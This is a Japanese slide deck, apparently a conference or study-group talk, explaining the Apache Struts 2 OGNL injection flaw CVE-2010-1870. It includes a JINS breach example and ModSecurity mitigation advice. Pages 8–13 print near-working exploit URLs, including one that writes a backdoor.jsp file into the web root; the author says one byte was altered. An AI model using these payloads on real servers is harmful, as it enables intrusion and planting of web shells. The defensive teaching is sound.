cve-2010-1870

17
Struts とととととととと ※ 本本本本本本本本本本本本本本本本本本本 本本本本本本本本本本

Upload: abendcve99990001

Post on 17-Nov-2014

1.863 views

Category:

Documents


0 download

DESCRIPTION

 

TRANSCRIPT

Page 1: CVE-2010-1870

Struts と愉快な脆弱性達

※本稿の内容を管理下ではない環境に対して 実施しないでください。

Page 2: CVE-2010-1870

Struts って

Apache Software Foundation のプロジェクトで開発が進められている Web アプリケーションのフレームワーク

最新バージョンは、 2.3.14.3 だが、古いバージョンには♥ を熱くする脆弱性が複数報告されている。

1.3 系は EOL 。

Page 3: CVE-2010-1870

お古はダメなんですクリティカルな脆弱性達が存在するので、意図せずして情報提供サーバになってしまう。

JINS2013 年 5 月 1 日に最終報告。

2,059 件のクレジットカード情報が漏えいした可能性がある。

不正利用の申告があった件数は上記のうち 20 件。最大損害総額: \3,053,000※ 申告がなかった不正利用額は推定

Page 4: CVE-2010-1870

今日のお話は・・・クリティカルな脆弱性のうちの1つである CVE-2010-1870 。

 Apache Struts の XWork における OGNL の式評価には、 "#" ParameterInterceptors 保護メカニズムを回避される脆弱性が存在します。

By JVN

1 系には、本脆弱性は存在しませんが、 EOL となっているため、 2 系の最新バージョンにアップグレードされることを推奨いたします。

Struts2.0.0 – 2.1.8.1 に存在する脆弱性。

Page 5: CVE-2010-1870

脆弱性の話の前にHTTP では、いくつかの method (命令)が用意されているが、その中でよく使われる method が POST と GET です。

HTTP のリクエスト(利用者からの要求)

Request = Request-Line ; Section 5.1 *(( general-header ; Section 4.5 | request-header ; Section 5.3 | entity-header ) CRLF) ; Section 7.1 CRLF [ message-body ] ; Section 4.3

Request-Line = Method SP Request-URI SP HTTP-Version CRLF

リクエスト

レスポンスWebサイト

利用者

Page 6: CVE-2010-1870

脆弱性の話の前にGET メソッドの場合GET /private/index.html?var1=num1&var2=num2 HTTP/1.1Host: example.com

POST メソッドの場合POST /private/index.html HTTP/1.1Host: example.comContent-Length: XXCRLFvar1=num1&var2=num2

Page 7: CVE-2010-1870

脆弱性の話の前に

apache では POST メソッドで送付されるパラメータ(パラメータ名および値)はログ出力されないので、 POST のパラメータの内容を知るためにはModSecurityなどを導入する必要がある。 GET メソッドで送付されるパラメータはログに残るので、内容を確認することができる。

(抜粋) RFC2616 15.1.3 URI での機密性の高い情報のエンコードHTTP プロトコルを使うサービスの作者は、その Request-URI にエンコードされたデータが現れるので、機密性の高いデータの提出に GET を使ったフォームを使うべきではない。

XX.XX.XX.XX - - [24/Jun/2013:08:12:50 +0900] "GET /sample/index.html?var1=num1&var2=num2 HTTP/1.1" 200 11365 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36" AA.AA.AA.AA

XX.XX.XX.ZZ - - [24/Jun/2013:08:17:13 +0900] "POST /sample/index.html HTTP/1.1" 20018268 "http://AA.AA.AA.AA/sample/index.html" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36" AA.AA.AA.AA

Apache のログ

Page 8: CVE-2010-1870

CVE-2010-1879 をどう攻めるのか?

http://xxx?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(arwe)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(a))&(dd)(('\43req\[email protected]@getRequest()')(a))&(ged)(('\43res\[email protected]@getResponse()')(a))&(mq)(('\43res.getWriter().println("End")')(a))&(sqe)(('\43res.getWriter().close()')(d))

こんな GET パラメータを放り込んでみると・・・

HTTP/1.1 200 OKDate: Tue, 25 Jun 2013 09:13:18 GMTContent-Length: 4Connection: closeContent-Type: text/plain; charset=UTF-8

End

レスポンスは???

なぜ??

Page 9: CVE-2010-1870

http://xxx?('\43_memberAccess.allowStaticMethodAccess')(a)=true

Static メソッドの呼び出しを許可するかを指定しており、「 true 」で呼び出せるようになる。「 \43 」が # として評価される。&(arwe)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(a))

&(ged)(('\43res\[email protected]@getResponse()')(a))

&(dd)(('\43req\[email protected]@getRequest()')(a))リクエストを変数 #req として定義。「 \75 」が = として評価される。

レスポンスを変数 #res として定義。

どう攻めるのか?

denyMethodExecution を false にセット。

Page 10: CVE-2010-1870

&(mq)(('\43res.getWriter().println("End")')(a))

レスポンスに「 End 」を出力する。

&(sqe)(('\43res.getWriter().close()')(d))

後始末。

どう攻めるのか?

Page 11: CVE-2010-1870

巧みな窃盗画面に End と表示してなんも面白くない。

('\43_memberAccess.allowStaticMethodAccess')(a)=true&(bnes)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(a))&(de)(('\43req\[email protected]@getRequest()')(a))&(gf)(('\43res\[email protected]@getResponse()')(a))&(keee)(('\43res.getWriter().println(\43req.getServletContext().getRealPath("\u005c"))')(a))&(arrrs)(('\43fos\75new%20java.io.FileWriter(new%20java.lang.StringBuilder(\43req.getServletContext().getRealPath("\u005c")).append(@java.io.File@separator).append("backdoor.jsp").toString())')(a))&(ovb)(('\43fos.write(\43req.getParameter("contents").getBytes())')(a))&(rdsq)(('\43res.getWriter().println("End")')(a))&(tres)(('\43fos.close()')(d))&(v)(('\43res.getWriter().close()')(d))&contents=xxxxxxxxx

サーバに backdoor 仕込もう(梅酒ばりにさらりと

※ 実際に動作するコードからコピペしても動作 ( ファイル生成のみ ) しないように 1byte 変更しています。  全体像の理解に影響のない個所を変更しています。

Page 12: CVE-2010-1870

常習犯の手口('\43_memberAccess.allowStaticMethodAccess')(a)=true&(bnes)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(a))&(de)(('\43req\[email protected]@getRequest()')(a))&(gf)(('\43res\[email protected]@getResponse()')(a))

&(keee)(('\43res.getWriter().println(\43req.getServletContext().getRealPath("\u005c"))')(a))

準備体操。

&(arrrs)(('\43fos\75new%20java.io.FileWriter(new%20java.lang.StringBuilder(\43req.getServletContext().getRealPath("\u005c")).append(@java.io.File@separator).append("backdoor.jsp").toString())')(a))

ドキュメントルートの絶対パスを出力。特に必要ありません。デバッグのためです。

ドキュメントルートに backdoor.jsp ファイルを作成。

&(ovb)(('\43fos.write(\43req.getParameter("contents").getBytes())')(a))

作成したファイルに後述する contents パラメータの内容を出力する。

Page 13: CVE-2010-1870

常習犯の手口

デバッグ用の End を出力する。

&contents=xxxxx

&(rdsq)(('\43res.getWriter().println("End")')(a))

&(tres)(('\43fos.close()')(d))&(v)(('\43res.getWriter().close()')(d))

後始末。

contents パラメータで中身は xxxxx 。

中身が xxxxx だけのファイルが作成されるだけならば、まだいいほう。悪意のあるコードが埋め込まれた場合、悲劇。

Page 14: CVE-2010-1870

どう守る?ぐだぐだ言わずに、黙って update 。

ただ、 Struts のバージョンアップだと、プログラムソースの変更やそれに伴うテストの対応がリソース的にできない。じゃあ、 WAF など別の手段でリスクを軽減しましょう。

Page 15: CVE-2010-1870

どう守る?

とりあえず、今回は ModSecurity で。

WAF る

WAF ら(ない)WAF り(ます)

WAF る(こと)WAF れ(ば)アップデートできないなら、 WAF れ!!

WAF の五段活用

Page 16: CVE-2010-1870

ModSecurityhttp://www.modsecurity.org/

フリーな WAF 。シグネチャ( CoreRuleSet )もフリーで存在し、シグネチャの追加は知識さえあれば己の力でなんとかなるかも(やりたくないけど)。

Page 17: CVE-2010-1870

ModSecurity

今回はシンプルに「 allowStaticMethodAccess 」があれば止めるとしています。

SecRule ARGS_NAMES|ARGS "allowStaticMethodAccess" "phase:2,t:none,auditlog,deny,id:'999999'“

CVE-2013-2115 にも効果あった。